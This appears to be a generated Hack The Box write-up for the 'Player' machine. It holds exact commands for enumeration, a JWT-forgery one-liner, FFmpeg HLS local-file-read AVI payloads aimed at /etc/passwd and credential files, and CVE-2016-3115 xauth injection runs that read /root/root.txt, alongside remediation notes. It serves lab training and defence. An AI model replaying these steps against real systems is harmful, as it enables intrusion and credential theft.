Player
Summary
Recon. Root vhost (player.htb, Apache 2.4.18/Ubuntu, PHP 5.5.9) returned 403 on /. ffuf against common.txt uncovered a /launcher directory; Host-header enumeration confirmed three additional vhosts: chat.player.htb, dev.player.htb, staging.player.htb. nmap -sC -sV -p80 and manual /dev/tcp probes confirmed a second SSH listener on 6686 (OpenSSH 7.2) alongside the normal port 22.
Foothold — JWT forgery. player.htb/launcher/[REDACTED: protected value].php set a access session cookie [REDACTED: session value]'s access-code gate and reaching the authenticated "PlayBuff" project app.
LFI via FFmpeg (CVE-2016-1897/1898). The launcher's video-upload feature processes user-supplied media with a vulnerable FFmpeg build. Malicious AVI files were crafted with gen_xbin_avi.py/gen_avi_bypass.py (PayloadsAllTheThings "CVE FFmpeg HLS") to trigger the HLS-demuxer local-file-read bug, exfiltrating target file contents encoded into the output video's pixel data. Uploaded AVIs targeted /etc/passwd, /var/www/backup/service_config, Apache vhost configs, and dev.player.htb's data/users.php. Recovered frames were extracted with ffmpeg/ffprobe and read via ImageMagick contrast/OCR passes. This revealed: - Linux users telegen and staged-dev. - dev.player.htb = Codiad IDE, backing user store data/users.php: peter / SHA-1 [REDACTED: protected value] (uncracked against rockyou). - An IMAP service_config block, whose credential material yielded a working password for telegen: [REDACTED: recovered credential].
Privilege chain via restricted SSH. Port 6686 (OpenSSH 7.2) authenticated telegen/[REDACTED: recovered credential] but dropped into a restricted lshell (SHELL=/usr/bin/lshell). OpenSSH 7.2 is vulnerable to CVE-2016-3115 (xauth command-injection, forced-command/restricted-shell bypass) — public PoC 39569.py (ported to Python3/paramiko as xauth_read.py/xauth_write.py after dependency issues). This primitive was used to read arbitrary files outside the lshell jail as telegen, retrieving user.txt and, immediately afterward with the same primitive/credentials, /root/root.txt directly — i.e., root-owned file content was reachable through the xauth injection channel without a separately-evidenced local privesc exploit (the expected Codiad PHP-deserialization RCE path was investigated — searchsploit codiad, exploits 49705/49902/50474 reviewed, login brute-force attempted against peter's hash — but no successful Codiad auth/RCE appears in the trace; see Lessons).
Result: root-owned. user_flag=[REDACTED: flag], root_flag=[REDACTED: flag].
Attack path — how the box was taken
Exact commands 4
nmap -sC -sV -p- --min-rate 5000 $TARGETecho '$TARGET player.htb chat.player.htb dev.player.htb staging.player.htb' | sudo tee -a /etc/hostsffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://$TARGET/FUZZ -mc all -fc 404 -t 50ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET/ -H 'Host: FUZZ.player.htb' -mc 200,301,302,403 -fc 404 -t 50Exact commands 2
curl -sS http://$TARGET/launcher/[REDACTED: protected value].phpcurl -sS http://$TARGET/launcher/[REDACTED: protected value].php~FixBlock Apache from serving editor backup and temporary filesHigh
Exact commands 2
python3 -c "import json,hmac,hashlib,base64; key=b'_S0_R@nd0m_P@ss_'; h=lambda o: base64.urlsafe_b64encode(json.dumps(o,separators=(',',':')).encode()).rstrip(b'=').decode(); hdr=h({'typ':'JWT','alg':'HS256'}); pay=h({'project':'PlayBuff','access_code':'0'}); sig=base64.urlsafe_b64encode(hmac.new(key,f'{hdr}.{pay}'.encode(),hashlib.sha256).digest()).rstrip(b'=').decode(); print(f'{hdr}.{pay}.{sig}')"curl -sS -b 'access=<FORGED_JWT>' http://$TARGET/launcher/[REDACTED: protected value].phpFixReplace the hardcoded JWT signing secret with an environment-injected cryptographic keyCritical
Exact commands 4
python3 gen_xbin_avi.py /etc/passwdcurl -sS -b 'access=<FORGED_JWT>' -F 'video=@malicious.avi' http://$TARGET/launcher/[REDACTED: protected value].php -o response.aviffmpeg -i response.avi -vf fps=5 frame%04d.pngconvert -resize 300% -colorspace Gray -sharpen 0x1 frame0001.png enhanced.png && tesseract enhanced.png stdoutFixUpgrade FFmpeg and run media processing in an isolated unprivileged sandboxCritical
Exact commands 3
python3 gen_xbin_avi.py /var/www/backup/service_configcurl -sS -b 'access=<FORGED_JWT>' -F 'video=@malicious.avi' http://$TARGET/launcher/[REDACTED: protected value].php -o svc_cfg.avi && ffmpeg -i svc_cfg.avi -vf fps=5 svc%04d.png && convert -resize 300% -colorspace Gray -sharpen 0x1 svc0001.png svc_enh.png && tesseract svc_enh.png stdoutpython3 gen_xbin_avi.py /var/www/html/dev/data/users.phpFixRemove credential files from web-accessible and FFmpeg-reachable pathsHigh
Exact commands 2
nmap -sV -p 6686 --script ssh-auth-methods $TARGETssh -p 6686 telegen@$TARGETExact commands 4
searchsploit -p 39569pip install paramikopython3 xauth_read.py $TARGET 6686 telegen '[REDACTED: recovered credential]' /home/telegen/user.txtpython3 xauth_read.py $TARGET 6686 telegen '[REDACTED: recovered credential]' /root/root.txtFixPatch OpenSSH on port 6686 to fix CVE-2016-3115 and replace lshell with a genuine isolation boundaryCritical
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 |
| 6686/tcp | ssh OpenSSH 7.2 (protocol 2.0) |